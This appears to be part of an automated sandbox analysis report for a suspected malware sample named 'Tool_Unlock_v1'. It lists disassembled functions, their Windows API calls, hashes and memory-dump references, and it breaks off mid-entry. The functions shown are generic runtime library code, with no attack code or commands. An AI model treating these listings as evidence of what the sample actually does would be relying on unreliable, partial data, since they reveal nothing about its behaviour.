APIs

_Yarn.LIBCPMT ref: 0033ABE5
_Yarn.LIBCPMT ref: 0033AC09

Strings

e.6, xrefs: 0033ABD9
|=3e.6, xrefs: 0033ABC8

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: Yarn
String ID: e.6$|=3e.6
API String ID: 1767336200-2873739962
Opcode ID: 52e5f605d340fa66744e560ac3347679bb85c5e597e974636bfd95e4374f0b87
Instruction ID: e4e2b4ef3f06d01d8a9ba03baa65cbee095a838907a57553c5cb4c5cd4a73770
Opcode Fuzzy Hash: 52e5f605d340fa66744e560ac3347679bb85c5e597e974636bfd95e4374f0b87
Instruction Fuzzy Hash: C0E06D323487006FEB0EBA65AC92BB777DCCB04B60F10402EF98ACE5C1ED10BC004655

Function 00356940 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,003569DC,00000000,?,0036D2B0,?,?,?,00356913,00000004,InitializeCriticalSectionEx,00360D34,00360D3C), ref: 0035694D
GetLastError.KERNEL32(?,003569DC,00000000,?,0036D2B0,?,?,?,00356913,00000004,InitializeCriticalSectionEx,00360D34,00360D3C,00000000,?,0034BBBC), ref: 00356957
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0035697F

Strings

api-ms-, xrefs: 00356964

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 10198cc7353daa827a6c5a958eee4af044677eda1cea182d7be12c7221c9bc2f
Instruction ID: b9cebb90a788fed5f3bcbe5ee4c7777c0b7c59d42d952d6c5e51ae00f4afbdc0
Opcode Fuzzy Hash: 10198cc7353daa827a6c5a958eee4af044677eda1cea182d7be12c7221c9bc2f
Instruction Fuzzy Hash: F9E01230384204B7DF121B60DC07F5C7A599B40B92F544420FD4CAC4F1D7B1DC549994

Function 00353F9E Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(4EEB0981,00000000,00000000,?), ref: 00354001

Part of subcall function 0034C021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0034D895,?,00000000,-00000008), ref: 0034C082

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00354253
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00354299
GetLastError.KERNEL32 ref: 0035433C

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 056b047b3eb01bfeb7708fd7ebf82e1d03fda5ca1a1dded9455dfe2684f83f94
Instruction ID: 5ddc03db2cae5ea37627efb93874d3b87f1b101c47e7ad12c108341c0f6faa0e
Opcode Fuzzy Hash: 056b047b3eb01bfeb7708fd7ebf82e1d03fda5ca1a1dded9455dfe2684f83f94
Instruction Fuzzy Hash: D5D18F75D002589FCF1ACFE8D8809EDBBB9FF09318F24452AE855EB361D630A985CB50

Function 0034B295 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0034B35C
___AdjustPointer.LIBCMT ref: 0034B37F
___AdjustPointer.LIBCMT ref: 0034B41B

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 29e0ccd3a10214027da009a4470e87deffda8e9fab5add00b1f1f229fe22470c
Instruction ID: 1ae271547fe3400cc54edfa26a79d52c9a3c4ae7cf8d3904ff9d9990f0d5c571
Opcode Fuzzy Hash: 29e0ccd3a10214027da009a4470e87deffda8e9fab5add00b1f1f229fe22470c
Instruction Fuzzy Hash: C551E17AA04602AFDB2B8F52C891BAAF7E4EF04710F15442DE9465E2A1D731FD50DB90

Function 00337220 Relevance: 6.1, APIs: 4, Instructions: 129threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 003372C5
std::_Throw_Cpp_error.LIBCPMT ref: 00337395
std::_Throw_Cpp_error.LIBCPMT ref: 003373A3
std::_Throw_Cpp_error.LIBCPMT ref: 003373B1

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CurrentThread
String ID:
API String ID: 2261580123-0
Opcode ID: 052ee5ae0fa25270c333d04cdcc61b227e06b760639dd892e7c1bd67b181df42
Instruction ID: 6318b6dfcf4f26365d1e4052bc3c86a8bed3e8570eb97ddea6a8c59c34e510fe
Opcode Fuzzy Hash: 052ee5ae0fa25270c333d04cdcc61b227e06b760639dd892e7c1bd67b181df42
Instruction Fuzzy Hash: B241E4F59047099BDB32EB64C8C17ABB7A8BF44330F154639E8564B691EB34E814CBD1

Function 00334460 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00334495
std::_Lockit::_Lockit.LIBCPMT ref: 003344B2
std::_Lockit::~_Lockit.LIBCPMT ref: 003344D3
std::_Lockit::~_Lockit.LIBCPMT ref: 00334580

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: afcfbb0f95c7e92f75bcf7435b3155c6d9704271788883063a4d30f6dcfaed66
Instruction ID: d75516b9fac3c9ab22e5fcb8f8359d13d9a976b010a49d7c8ebd934ad3ea847e
Opcode Fuzzy Hash: afcfbb0f95c7e92f75bcf7435b3155c6d9704271788883063a4d30f6dcfaed66
Instruction Fuzzy Hash: 61416871D00658CFCB12DF94D884BAEBBB4FB49720F058229E8556B391D774AD44CFA1

Function 00351DC6 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0034C021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0034D895,?,00000000,-00000008), ref: 0034C082

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00351E2A
__dosmaperr.LIBCMT ref: 00351E31
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00351E6B
__dosmaperr.LIBCMT ref: 00351E72

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: ade14dbf42bef3d8cb68cd8ebc555db2f6e3d8c72607eba5e221f0a8507e8972
Instruction ID: 6a7d119b08d46ac0eac3eb574a6ba2cae3a3a49a70a18d7723f60196e3716909
Opcode Fuzzy Hash: ade14dbf42bef3d8cb68cd8ebc555db2f6e3d8c72607eba5e221f0a8507e8972
Instruction Fuzzy Hash: 6721AF71604615AFDB22AF658882E6BB7EDFF00366B118519FC199B121D771EC04CBE0

Function 00342BA2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8e7e28172f867493fd8826abcec734242a6322748b937aeabdfc2ff1b28dc7f
Instruction ID: 8160939367adabe981b9ce5f0ffe3e719aab0829639901195b71d051a1f8191e
Opcode Fuzzy Hash: f8e7e28172f867493fd8826abcec734242a6322748b937aeabdfc2ff1b28dc7f
Instruction Fuzzy Hash: A2218B71204615AF9B22AF658CC196B7BEDFF40364B928515F855AF651EB30FC40CBA0

Function 003531BE Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 003531C6

Part of subcall function 0034C021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0034D895,?,00000000,-00000008), ref: 0034C082

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 003531FE
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0035321E

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 72319d99252a5f7d618b0f64597437edc252541cb424ae96c729286aa96a5a1e
Instruction ID: 60d58aa199742666fe05191bc320e6073d30cce2a83fa36ce58f7f08bdde9bd3
Opcode Fuzzy Hash: 72319d99252a5f7d618b0f64597437edc252541cb424ae96c729286aa96a5a1e
Instruction Fuzzy Hash: 9411A1B15019157EE72327B5EC8ACAF6A9CDE853D5B100818FA01D9111FBA4EF0441B1

Function 0033E892 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0033E899
std::_Lockit::_Lockit.LIBCPMT ref: 0033E8A3
int.LIBCPMT ref: 0033E8BA

Part of subcall function 0033C1E5: std::_Lockit::_Lockit.LIBCPMT ref: 0033C1F6
Part of subcall function 0033C1E5: std::_Lockit::~_Lockit.LIBCPMT ref: 0033C210

std::_Lockit::~_Lockit.LIBCPMT ref: 0033E914

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID:
API String ID: 1383202999-0
Opcode ID: 632e9477d9574c7b50c3318a65d9a2a27f02a02752b0b9c46145d2642ed065f5
Instruction ID: dadfa6381b41e221d119ee7a027fa3f8fcb2e77a51bee42412f53d8774f967ea
Opcode Fuzzy Hash: 632e9477d9574c7b50c3318a65d9a2a27f02a02752b0b9c46145d2642ed065f5
Instruction Fuzzy Hash: 0511CE368001199BCB07EBA4C985ABEB7B5AF80710F254119E451AF2D2CF749A40CB81

Function 0035ADA0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,0035A2EF,00000000,00000001,00000000,?,?,00354390,?,00000000,00000000), ref: 0035ADB7
GetLastError.KERNEL32(?,0035A2EF,00000000,00000001,00000000,?,?,00354390,?,00000000,00000000,?,?,?,00353CD6,00000000), ref: 0035ADC3

Part of subcall function 0035AE20: CloseHandle.KERNEL32(FFFFFFFE,0035ADD3,?,0035A2EF,00000000,00000001,00000000,?,?,00354390,?,00000000,00000000,?,?), ref: 0035AE30

___initconout.LIBCMT ref: 0035ADD3

Part of subcall function 0035ADF5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0035AD91,0035A2DC,?,?,00354390,?,00000000,00000000,?), ref: 0035AE08

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,0035A2EF,00000000,00000001,00000000,?,?,00354390,?,00000000,00000000,?), ref: 0035ADE8

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 50ed9c5d8b3a56a79d50f3a49f24563c9da85c4e5bc3fb4a6a68984f8440f3af
Instruction ID: d31e1da035a615d74169e0f6f3aee49c70052a5bbba3b21d14ca4c7b2903694a
Opcode Fuzzy Hash: 50ed9c5d8b3a56a79d50f3a49f24563c9da85c4e5bc3fb4a6a68984f8440f3af
Instruction Fuzzy Hash: E8F01C36500518BBCF232FD5DC19D9A3F7AFF087A2F018111FE0986130DB728860AB91

Function 003404F5 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00340507
GetCurrentThreadId.KERNEL32 ref: 00340516
GetCurrentProcessId.KERNEL32 ref: 0034051F
QueryPerformanceCounter.KERNEL32(?), ref: 0034052C

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 24a9e103af19c606c1fad52032f1274b3d056dab5f82f6e5fa04744a55994bff
Instruction ID: 773767aca6289c303dd5e6da4623e0a7db38a172ce66e42670a2e47e937ca244
Opcode Fuzzy Hash: 24a9e103af19c606c1fad52032f1274b3d056dab5f82f6e5fa04744a55994bff
Instruction Fuzzy Hash: 51F05F74D1020DEBCB01DFB4DA4999EBBF8FF1C344B918995E412E6110EA70AA449B50

Function 0034B992 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,0034B893,?,?,00000000,00000000,00000000,?), ref: 0034B9B7

Strings

RCC, xrefs: 0034B9D1
MOC, xrefs: 0034B9C9

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 2319b9c427d188c788c54258193f2a097e0c63c58421f361858dba1d46e6f3b7
Instruction ID: bf9a530c820fd247a3ce2148a2123f7cd029fa54df840d9b4dfc3ef0fae81518
Opcode Fuzzy Hash: 2319b9c427d188c788c54258193f2a097e0c63c58421f361858dba1d46e6f3b7
Instruction Fuzzy Hash: A7412772900209AFCF16DF98C981AAEBBF5FF48304F198159FA14AB212D335E950DB51

Function 0034B1FE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0034B475

Strings

csm, xrefs: 0034B497
csm, xrefs: 0034B508

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 6a8e4221e23f3626ac91d1b605a62275c6dba89efc98d740c1bae34464cb2b0b
Instruction ID: 44e67ac80f938c2ded56d7536d9af99129b8724a306eca6818e008dea67c9c3f
Opcode Fuzzy Hash: 6a8e4221e23f3626ac91d1b605a62275c6dba89efc98d740c1bae34464cb2b0b
Instruction Fuzzy Hash: B631C671400215EBCF279F51CC409AAFBE6FF0A315B19469AF8584D232C336ED62DB81

Function 0033B831 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0033B8B9
RaiseException.KERNEL32(?,?,?,?,?), ref: 0033B8DE

Part of subcall function 0034060C: RaiseException.KERNEL32(E06D7363,00000001,00000003,0033F354,03532C50,?,?,?,0033F354,00333D4A,0036759C,00333D4A), ref: 0034066D

Part of subcall function 00348353: IsProcessorFeaturePresent.KERNEL32(00000017,0034C224), ref: 0034836F

Strings

csm, xrefs: 0033B86D

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: a7dbc0ed3cd58cd9a9db489c46e6f8d6517a348a25765762895c3c99e79bbb59
Instruction ID: ae779f200393ef6b2dc35ea49d0641bfb6a2150ada97a61475e79fdaf22cb58e
Opcode Fuzzy Hash: a7dbc0ed3cd58cd9a9db489c46e6f8d6517a348a25765762895c3c99e79bbb59
Instruction Fuzzy Hash: 3E219D32D01218EBCF26DF99D885AEEF7B8AF44710F160419E606AF150CB70AD45CB81

Function 0033B46C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00332673

Strings

ios_base::badbit set, xrefs: 00332650
bad array new length, xrefs: 00332626

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
